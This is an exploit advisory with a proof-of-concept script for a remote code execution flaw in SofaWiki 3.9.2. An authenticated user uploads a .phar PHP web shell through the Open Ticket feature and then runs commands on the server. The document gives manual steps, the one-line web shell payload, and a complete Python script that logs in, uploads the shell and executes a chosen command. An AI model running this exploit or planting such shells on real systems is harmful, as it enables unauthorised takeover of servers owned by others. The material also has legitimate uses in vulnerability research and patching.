Headline
SofaWiki 3.9.2 Shell Upload
SofaWiki version 3.9.2 suffers from a remote shell upload vulnerability.
# Exploit Title: SofaWiki 3.9.2 - Remote Code Execution (RCE) via Open Ticket File Upload# Date: 10/17/2024# Exploit Author: Chokri Hammedi# Vendor Homepage: https://www.sofawiki.com# Software Link: https://www.sofawiki.com/site/files/snapshot.zip# Version: 3.9.2# Tested on: Windows XPSummary:A remote code execution (RCE) vulnerability exists in the Open Ticketfeature of SofaWiki 3.9.2. An attacker can upload a malicious `.phar` filethat contains PHP code, bypassing `.htaccess` restrictions, and executearbitrary commands on the server.Exploit Steps:1. Login to SofaWiki.2. Navigate to Special → Tickets → New Ticket:http://localhost/sofawiki/index.php?name=special:tickets&ticketaction=new3. Select your shell.phar file with this content: <?php system($_GET['cmd']); ?>4. Fill in the ticket title and click Open Ticket.5. After the ticket is created, the page shows a link to the uploadedshell.phar6. access the webshell:http://localhost/sofawiki/site/files/ticket-1-shell.phar?cmd=whoami--------------# Exploit Title: SofaWiki 3.9.2 - RCE (authenticated) via Open Ticket File Upload Exploit# Date: 10/17/2024# Exploit Author: Chokri Hammedi# Vendor Homepage: https://www.sofawiki.com# Software Link: https://www.sofawiki.com/site/files/snapshot.zip# Version: 3.9.2# Tested on: Windows XPimport requestsimport reimport sysclass SofaWikiExploit: def __init__(self, base_url, username, password): self.base_url = base_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() def detect_login_name(self): response =self.session.get(f"{self.base_url}/index.php?action=login") match = re.search(r'name="name" value="([^"]+)"', response.text) if not match: print("\033[91m\033[1m[-] couldn't find the 'name' field.Exiting.\033[0m") sys.exit(1) return match.group(1) def login(self): print("\033[93m[*] logging in...\033[0m") login_name = self.detect_login_name() data = { "submitlogin": "Login", "username": self.username, "pass": self.password, "name": login_name, "action": "login" } response = self.session.post(f"{self.base_url}/index.php",data=data) if "Logout" in response.text: print("\033[92m\033[1m[+] Login successful!\033[0m") return True print("\033[91m[-] login failed.\033[0m") return False def upload_shell(self): print("\033[93m[*] uploading shell...\033[0m") shell_content = '<?php system($_GET["cmd"]); ?>' files = { 'uploadedfile': ('shell.phar', shell_content,'application/octet-stream'), 'title': (None, 'Chokri Hammedi Exploit'), 'text': (None, 'Chokri Hammedi RCE'), 'assigned': (None, 'admin'), 'priority': (None, '1 high'), 'submitopen': (None, 'Open Ticket'), 'MAX_FILE_SIZE': (None, '8000000') } response =self.session.post(f"{self.base_url}/index.php?name=special:tickets",files=files) match = re.search(r'File (.*?) uploaded', response.text) if not match: print("\033[91m[-] shell upload failed.\033[0m") sys.exit(1) shell_url = f"{self.base_url}/site/files/{match.group(1)}" print(f"\033[92m[+] shell uploaded: {shell_url}\033[0m") return shell_url def execute_command(self, shell_url, cmd): print(f"\033[93m[*] running command: {cmd}\033[0m") response = self.session.get(f"{shell_url}?cmd={cmd}") print("\033[92m[+] command output:\033[0m") print(f"\033[1m{response.text}\033[0m")if __name__ == "__main__": if len(sys.argv) != 5: print(f"\033[91musage: {sys.argv[0]} <target_url> <username><password> <cmd>\033[0m") sys.exit(1) target_url, username, password, cmd = sys.argv[1:5] exploit = SofaWikiExploit(target_url, username, password) if exploit.login(): shell_url = exploit.upload_shell() exploit.execute_command(shell_url, cmd)